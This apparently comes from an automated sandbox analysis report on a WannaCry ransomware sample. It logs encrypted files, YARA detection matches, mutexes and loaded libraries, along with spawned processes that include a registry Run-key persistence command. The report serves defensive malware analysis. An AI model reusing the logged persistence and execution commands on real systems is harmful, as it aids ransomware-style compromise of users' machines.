Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRYT entropy: 7.99975913149	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRYT entropy: 7.99800372318	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRYT entropy: 7.99984016918	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRYT entropy: 7.99612285399	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRYT entropy: 7.99682866707	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRYT entropy: 7.99003789979	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99988952583	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99986519514	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRYT entropy: 7.99865597674	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRYT entropy: 7.99661864567	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRYT entropy: 7.99675923445	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT entropy: 7.99116048682	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRYT entropy: 7.99542765649	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT entropy: 7.99843648903	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRYT entropy: 7.9987359323	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRYT entropy: 7.99567557638	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRYT entropy: 7.99989722506	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRYT entropy: 7.99767579071	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRYT entropy: 7.99967940557	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRYT entropy: 7.99726352969	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRYT entropy: 7.99944680462	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRYT entropy: 7.99825351729	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRYT entropy: 7.99926154667	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRYT entropy: 7.99917649172	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRYT entropy: 7.99912562217	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRYT entropy: 7.99966110336	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRYT entropy: 7.99672775135	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRYT entropy: 7.99853774383	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRYT entropy: 7.99896680642	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRYT entropy: 7.99812209151	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRYT entropy: 7.99642044639	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT entropy: 7.99012219048	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT entropy: 7.99991513161	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT entropy: 7.99868035872	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT entropy: 7.99845821415	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT entropy: 7.99913968883	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT entropy: 7.99935798489	Jump to dropped file

Source: taskse.exe

Process created: 161

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 00000011.00000000.1752482036.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\Downloads\110401715441892.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Downloads\r.wnry, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\Downloads\110401715441892.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Downloads\r.wnry, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: 00000011.00000002.2365255812.000000000040F000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\Users\user\Downloads\110401715441892.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Downloads\r.wnry, type: DROPPED	Matched rule: Detects WannaCry Ransomware Note Author: Florian Roth
Source: C:\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs

Blob-based file download detected

Source: C:\Users\user\Downloads\WannaCry (3).EXE

File download: blob:https://github.com/815e9639-3b92-4db1-b89e-601a94d806a7

Source: C:\Users\user\Downloads\@WanaDecryptor@.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 228

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "npsmhansjut293" /t REG_SZ /d "\"C:\Users\user\Downloads\tasksche.exe\"" /f

Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 00000011.00000000.1752482036.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Downloads\110401715441892.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Downloads\r.wnry, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Downloads\110401715441892.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Downloads\r.wnry, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 00000011.00000002.2365255812.000000000040F000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Desktop\PIVFAGEAAV\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Downloads\110401715441892.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Downloads\r.wnry, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware

Source: classification engine

Classification label: mal100.rans.phis.spyw.evad.win@1440/678@30/157

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Users\user\Downloads\WannaCry (3).EXE	Mutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Mutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7732:120:WilError_03

Source: C:\Users\user\Downloads\WannaCry (3).EXE

File created: C:\Users\All Users\Microsoft\Diagnosis\Temp\~SD92B1.tmp

Source: C:\Users\user\Downloads\WannaCry (3).EXE

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 110401715441892.bat

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs

Source: C:\Users\user\Downloads\@WanaDecryptor@.exe

File read: C:\Windows\win.ini

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: cryptsp.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: rsaenh.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: cryptbase.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\Downloads\WannaCry (3).EXE	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll
Source: C:\Users\user\Downloads\taskdl.exe	Section loaded: msvcp60.dll
